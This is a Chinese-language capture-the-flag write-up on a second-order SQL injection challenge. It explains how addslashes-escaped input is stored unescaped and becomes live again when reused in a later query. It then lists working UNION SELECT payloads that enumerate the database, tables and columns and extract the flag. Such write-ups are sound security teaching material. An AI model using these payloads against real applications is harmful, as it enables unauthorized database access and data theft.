打开题目,进入到注册页面:

随意输入1和1进去。

登录进去,发现有输入框,猜测是不是SQL注入,再次进行测试。

发现我们的单引号被转义了。
合理猜测有addslashes的存在。
- 它会在 '、"、
\、NUL 前面加一个反斜杠。比如你输入1' union,它变成1\' union。 - 在当次 SQL 里,
\'表示 "一个普通的单引号字符",不再起到 "闭合字符串" 的作用,所以注入语句被封死 ------这就是第一次(注册、登录、改简介)直接注入都失败的原因 ,你在输入框里能看到回显变成了\'。 - 但是 :反斜杠只是给 SQL 解析器看的 "转义记号",
insert真正写进表字段时,存的是转义后的值本身,也就是那个干净的',反斜杠不会被存进去。 - 于是:等以后这条数据被读出来、再拼进另一条 SQL 时,如果那个地方没再调用 addslashes ,原始的
'就 "复活" 了 ------ 这正是二次注入。
当我们在注册页面进行SQL注入:

zz 是个不存在的用户名,让前半截查空;
登陆后再次查看发现回显位为1。

接下来继续这样操作,脱库脱表脱列:
sql
zz' union select database()#

sql
zz' union select (select group_concat(table_name) from information_schema.tables where table_schema=database())#

sql
zz' union select (select group_concat(column_name) from information_schema.columns where table_name="flag")#

sql
zz' union select (select group_concat(flag) from flag)#
